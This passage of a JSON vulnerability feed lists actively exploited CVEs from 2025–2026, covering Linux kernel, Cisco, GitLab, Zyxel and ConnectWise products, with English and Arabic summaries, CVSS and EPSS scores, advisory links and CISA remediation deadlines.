26-04.","machineTranslated":true,"productSlug":"check-point-multiple-products"},{"id":"CVE-2026-7273","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-21T00:00:00Z","product":"Zyxel GS1900 Series Switches","affected":[],"title":{"en":"Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability","ar":"ثغرة فيضان المخزن المؤقت المعتمد على المكدس في محولات Zyxel GS1900 Series"},"summary":{"en":"Zyxel GS1900 series switches contain a stack-based buffer overflow vulnerability in the CGI program which could allow a LAN-based, unauthenticated attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request.","ar":"تحتوي محولات Zyxel GS1900 series على ثغرة فيضان المخزن المؤقت المعتمد على المكدس في برنامج CGI والتي قد تسمح لمهاجم متصل بشكة LAN ودون مصادقة باستغلال الخلل وربما تنفيذ أوامر نظام التشغيل عبر طلب HTTP مصمم."},"refs":[["https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-stack-based-buffer-overflow-vulnerability-in-gs1900-series-switches-06-16-2026","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-7273","advisory"],["https://www.greynoise.io/blog/open-season-on-kapibala-attacker-steals-government-records-wordpress-exploitation","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-7273","ref"]],"epss":0.0278,"kevAdded":"2026-09-21T00:00:00Z","kevDue":"2026-09-24T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"zyxel-gs1900-series-switches"},{"id":"CVE-2026-53266","cvss":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-18T00:00:00Z","product":"Linux Kernel","affected":[["5.4.73 – <5.5","5.5"],["5.8.17 – <5.9","5.9"],["5.9.2 – <5.10","5.10"]],"title":{"en":"Linux Kernel Out-of-Bounds Write Vulnerability","ar":"ثغرة الكتابة خارج الحدود في نواة Linux"},"summary":{"en":"Linux Kernel contains an out-of-bounds write vulnerability in the ebtables SNAT target which allows an ARP sender hardware address rewrite to write directly into a nonlinear socket-buffer fragment backed by a splice-imported file page. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","ar":"تحتوي نواة Linux على ثغرة كتابة خارج الحدود في هدف ebtables SNAT والتي تسمح بإعادة كتابة عنوان الأجهزة الخاص بمرسل ARP للكتابة مباشرة في جزء مخزن مؤقت للمقبس غير خطي مدعوم بصفحة ملف مستوردة بطريقة splice. قد يكون المنتج (المنتجات) المتأثر في نهاية العمر الافتراضي (EoL) و/أو نهاية الخدمة (EoS). يُنصح المستخدمون بالتوقف عن الاستخدام و/أو الانتقال إلى إصدار مدعوم."},"refs":[["https://git.kernel.org/stable/c/bf84ad7c7a9ede46e31afaa41a1ba06a159e8c87","advisory"],["https://git.kernel.org/stable/c/76280b78cc9f23bdc6438e10ad6dff148ef8375b","advisory"],["https://git.kernel.org/stable/c/b7e91939ba9be805a62a257fa4e227dffbb88fa0","advisory"],["https://git.kernel.org/stable/c/afd64b59c3de9bbbdd3759e834fdc55cda716e0b","advisory"],["https://git.kernel.org/stable/c/153ea96c806aea395daba907a4f88480b6ad5093","advisory"],["https://git.kernel.org/stable/c/b18675263db1147c8e1cab625400c13a0d87bd2d","advisory"],["https://git.kernel.org/stable/c/c9b5ff59feffb92a147a84a5aa28acd2cb8ff4c5","advisory"],["https://git.kernel.org/stable/c/67ba971ae02514d85818fe0c32549ab4bfa3bf49","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-53266","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-53266","ref"]],"epss":0.0093,"kevAdded":"2026-09-18T00:00:00Z","kevDue":"2026-09-21T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2025-39964","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-18T00:00:00Z","product":"Linux Kernel","affected":[["2.6.38",null]],"title":{"en":"Linux Kernel Race Condition Vulnerability","ar":"ثغرة حالة التنافس في نواة Linux"},"summary":{"en":"Linux Kernel contains a race condition vulnerability which allows concurrent writes to the same AF_ALG socket causing data to be unpredictably interleaved and creating inconsistencies in the socket's internal state.","ar":"تحتوي نواة Linux على ثغرة حالة التنافس التي تسمح بعمليات كتابة متزامنة لنفس مقبس AF_ALG مما يتسبب في تداخل البيانات بشكل لا يمكن التنبؤ به وخلق تناقضات في الحالة الداخلية للمقبس."},"refs":[["https://git.kernel.org/stable/c/0f28c4adbc4a97437874c9b669fd7958a8c6d6ce","advisory"],["https://git.kernel.org/stable/c/e4c1ec11132ec466f7362a95f36a506ce4dc08c9","advisory"],["https://git.kernel.org/stable/c/1f323a48e9b5ebfe6dc7d130fdf5c3c0e92a07c8","advisory"],["https://git.kernel.org/stable/c/7c4491b5644e3a3708f3dbd7591be0a570135b84","advisory"],["https://git.kernel.org/stable/c/9aee87da5572b3a14075f501752e209801160d3d","advisory"],["https://git.kernel.org/stable/c/45bcf60fe49b37daab1acee57b27211ad1574042","advisory"],["https://git.kernel.org/stable/c/1b34cbbf4f011a121ef7b2d7d6e6920a036d5285","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-39964","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39964","ref"],["https://cert-portal.siemens.com/productcert/html/ssa-019113.html","ref"]],"epss":0.0161,"kevAdded":"2026-09-18T00:00:00Z","kevDue":"2026-09-21T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2025-39682","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-754","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-18T00:00:00Z","product":"Linux Kernel","affected":[["6.0",null]],"title":{"en":"Linux Kernel Improper Check for Unusual or Exceptional Conditions Vulnerability","ar":"ثغرة الفحص غير السليم للحالات غير العادية أو الاستثنائية في نواة Linux"},"summary":{"en":"Linux Kernel contains an improper check for unusual or exceptional conditions vulnerability in the TLS receive path which allows a zero-length record retrieved from the rx_list to bypass the intended recvmsg() record-type handling, potentially causing subsequent TLS records to be processed using incorrect zero-copy and queuing assumptions. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","ar":"تحتوي نواة Linux على ثغرة فحص غير سليم للحالات غير العادية أو الاستثنائية في مسار استقبال TLS والتي تسمح لسجل ذي طول صفري مسترد من rx_list بتجاوز معالجة نوع سجل recvmsg() المقصودة، مما قد يتسبب في معالجة سجلات TLS لاحقة باستخدام افتراضات خاطئة للنسخ الصفرى (zero-copy) وقوائم الانتظار. قد يكون المنتج (المنتجات) المتأثر في نهاية العمر الافتراضي (EoL) و/أو نهاية الخدمة (EoS). يُنصح المستخدمون بالتوقف عن الاستخدام و/أو الانتقال إلى إصدار مدعوم."},"refs":[["https://git.kernel.org/stable/c/2902c3ebcca52ca845c03182000e8d71d3a5196f","advisory"],["https://git.kernel.org/stable/c/c09dd3773b5950e9cfb6c9b9a5f6e36d06c62677","advisory"],["https://git.kernel.org/stable/c/3439c15ae91a517cf3c650ea15a8987699416ad9","advisory"],["https://git.kernel.org/stable/c/29c0ce3c8cdb6dc5d61139c937f34cb888a6f42e","advisory"],["https://git.kernel.org/stable/c/62708b9452f8eb77513115b17c4f8d1a22ebf843","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-39682","advisory"],["https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html","ref"],["https://cert-portal.siemens.com/productcert/html/ssa-032379.html","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39682","ref"]],"epss":0.0325,"kevAdded":"2026-09-18T00:00:00Z","kevDue":"2026-09-21T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-87886","cvss":7.8,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-276","tags":["LPE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-17T22:57:18Z","product":"Acronis Backup","affected":[[" – <1.9.3.1021","1.9.3.1021"],[" – <1.8.11.638","1.8.11.638"],[" – <1.2.3.238","1.2.3.238"]],"title":{"en":"Acronis Backup Incorrect Default Permissions Vulnerability","ar":"ثغرة الأذونات الافتراضية غير الصحيحة في Acronis Backup"},"summary":{"en":"Acronis Backup plugin for cPanel & WHM and extension for Plesk contains an incorrect default permissions vulnerability that could allow for privilege escalation.","ar":"تحتوي إضافة Acronis Backup لـ cPanel & WHM وامتداد Plesk على ثغرة أذونات افتراضية غير صحيحة والتي قد تسمح بتصعيد الصلاحيات."},"refs":[["https://security-advisory.acronis.com/advisories/SEC-10986","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-87886","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-87886","ref"]],"epss":0.0023,"kevAdded":"2026-09-16T00:00:00Z","kevDue":"2026-09-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"acronis-backup"},{"id":"CVE-2026-76460","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-648","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-16T20:12:02Z","product":"Cisco Identity Services Engine","affected":[["3.4.0",null],["3.5.0",null]],"title":{"en":"Cisco Identity Services Engine Incorrect Use of Privileged APIs Vulnerability","ar":"ثغرة الاستخدام غير الصحيح لواجهات برمجة التطبيقات المميزة في Cisco Identity Services Engine"},"summary":{"en":"Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) contain an incorrect use of privileged APIs vulnerability that could allow an unauthenticated, remote attacker to gain unauthorized access to the affected device by bypassing the web-based management interface.","ar":"يحتوي كل من Cisco Identity Services Engine (ISE) و Cisco ISE Passive Identity Connector (ISE-PIC) على ثغرة استخدام غير صحيح لواجهات برمجة التطبيقات المميزة، والتي قد تسمح لمهاجم عن بُعد ودون مصادقة بالحصول على وصول غير مصرح به إلى الجهاز المتأثر عن طريق تجاوز واجهة الإدارة القائمة على الويب."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-ABP-VNSW7Tn5","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-76460","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76460","ref"]],"epss":0.756,"kevAdded":"2026-09-16T00:00:00Z","kevDue":"2026-09-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"cisco-identity-services-engine"},{"id":"CVE-2026-58704","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":["LPE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-16T00:00:00Z","product":"Google Pixel","affected":[],"title":{"en":"Google Pixel Improper Authorization Vulnerability","ar":"ثغرة التخويل غير السليم في أجهزة Google Pixel"},"summary":{"en":"Google Pixel devices contain an improper authorization vulnerability in the cellular modem. A logic error may allow an attacker to bypass permission checks and escalate privileges.","ar":"تحتوي أجهزة Google Pixel على ثغرة تخويل غير سليم في مودم الخلوي. قد يسمح خطأ في المنطق للمهاجم بتجاوز فحوصات الأذونات وتصعيد الصلاحيات."},"refs":[["https://source.android.com/docs/security/bulletin/pixel/2026/2026-09-01","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-58704","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-58704","ref"]],"epss":0.0063,"kevAdded":"2026-09-16T00:00:00Z","kevDue":"2026-09-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"google-pixel"},{"id":"CVE-2026-76461","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-14T16:09:07Z","product":"Cisco Secure Email Gateway","affected":[["14.0.0-698",null],["13.5.1-277",null],["13.0.0-392",null],["14.2.0-620",null],["13.0.5-007",null],["13.5.4-038",null],["14.2.1-020",null],["14.3.0-032",null],["15.0.0-104",null],["15.0.1-030",null],["15.5.0-048",null],["15.5.1-055",null]],"title":{"en":"Cisco Secure Email Gateway SQL Injection Vulnerability","ar":"ثغرة حقن SQL في Cisco Secure Email Gateway"},"summary":{"en":"Cisco AsyncOS software for Cisco Secure Email Gateway (SEG) contains a SQL injection vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system.","ar":"يحتوي برنامج Cisco AsyncOS لـ Cisco Secure Email Gateway (SEG) على ثغرة حقن SQL التي قد تسمح لمهاجم عن بُعد ودون مصادقة بتنفيذ أوامر عشوائية بصلاحيات root على نظام التشغيل الأساسي."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-inj-2bLVGmhX","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-76461","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76461","ref"]],"epss":0.2954,"kevAdded":"2026-09-14T00:00:00Z","kevDue":"2026-09-17T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"cisco-secure-email-gateway"},{"id":"CVE-2026-85706","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-12T02:46:31Z","product":"GitLab Community Edition and Enterprise Edition","affected":[["18.7 – <18.11.12","18.11.12"],["19.0 – <19.0.9","19.0.9"],["19.1 – <19.1.8","19.1.8"],["19.2 – <19.2.6","19.2.6"],["19.3 – <19.3.2","19.3.2"]],"title":{"en":"GitLab Community Edition and Enterprise Edition Path Traversal Vulnerability","ar":"ثغرة اجتياز المسار في GitLab Community Edition و Enterprise Edition"},"summary":{"en":"GitLab Community Edition and Enterprise Edition contains a path traversal vulnerability that allows an unauthenticated user to read arbitrary files due to an improper path confinement and missing authentication enforcement in the repository commits API.","ar":"تحتوي إصدارات GitLab Community Edition و Enterprise Edition على ثغرة اجتياز المسار التي تسمح لمستخدم دون مصادقة بقراءة ملفات عشوائية بسبب تقييد المسار بشكل غير سليم وغياب فرض المصادقة في واجهة برمجة التطبيقات الخاصة بعمليات الالتزام في المستودع (repository commits API)."},"refs":[["https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-85706","advisory"],["https://gitlab.com/gitlab-org/gitlab/-/work_items/627748","ref"],["https://hackerone.com/reports/3909881","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-85706","ref"]],"epss":0.9736,"kevAdded":"2026-09-11T00:00:00Z","kevDue":"2026-09-14T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"gitlab-community-edition-and-enterprise-edition"},{"id":"CVE-2026-84869","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-11T00:00:00Z","product":"ConnectWise ScreenConnect","affected":[],"title":{"en":"ConnectWise ScreenConnect Improper Privilege Management and Missing Authorization Vulnerability","ar":"ثغرة سوء إدارة الصلاحيات وفقدان التخويل في ConnectWise ScreenConnect"},"summary":{"en":"ConnectWise ScreenConnect contains both an improper privilege management and missing authorization vulnerability that may allow an attacker to transfer and execute files through an active remote session without authorization or host confirmation.","ar":"يحتوي منتج ConnectWise ScreenConnect على ثغرتين تتمثلان في سوء إدارة الصلاحيات وفقدان التخويل، مما قد يسمح لمهاجم بنقل وتنفيذ الملفات من خلال جلسة عن بُعد نشطة دون تخويل أو تأكيد من المُضيف."},"refs":[["https://www.connectwise.com/company/trust/security-bulletins/2026-09-08-screenconnect-bulletin","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-84869","advisory"],["https://www.huntress.com/blog/rogue-screenconnect-installations","advisory"],["https://github.com/ConnectWise-Advisories/Disclosures/tree/main/CVE-2026-84869","ref"],["https://www.connectwise.com/company/trust/advisories","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-84869","ref"]],"epss":0.0092,"kevAdded":"2026-09-11T00:00:00Z","kevDue":"2026-09-14T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"connectwise-screenconnect"},{"id":"CVE-2026-42018","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-11T00:00:00Z","product":"JFrog Artifactory","affected":[["0 – <7.111.20","7.111.20"],["7.117.0 – <7.117.27","7.117.27"],["7.125.0 – <7.125.19","7.125.19"],["7.133.0 – <7.133.28","7.133.28"],["7.146.0 – <7.146.8","7.146.8"]],"title":{"en":"JFrog Artifactory Improper Authentication Vulnerability","ar":"ثغرة المصادقة غير السليمة في JFrog Artifactory"},"summary":{"en":"JFrog Artifactory contains an improper authentication vulnerability that could return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled, potentially exposing sensitive resources.","ar":"يحتوي JFrog Artifactory على ثغرة مصادقة غير سليمة يمكن أن تعيد رمز مستخدم مجهول داخليًا إلى متصل دون مصادقة عند تعطيل الوصول المجهول، مما قد يعرض موارد حساسة 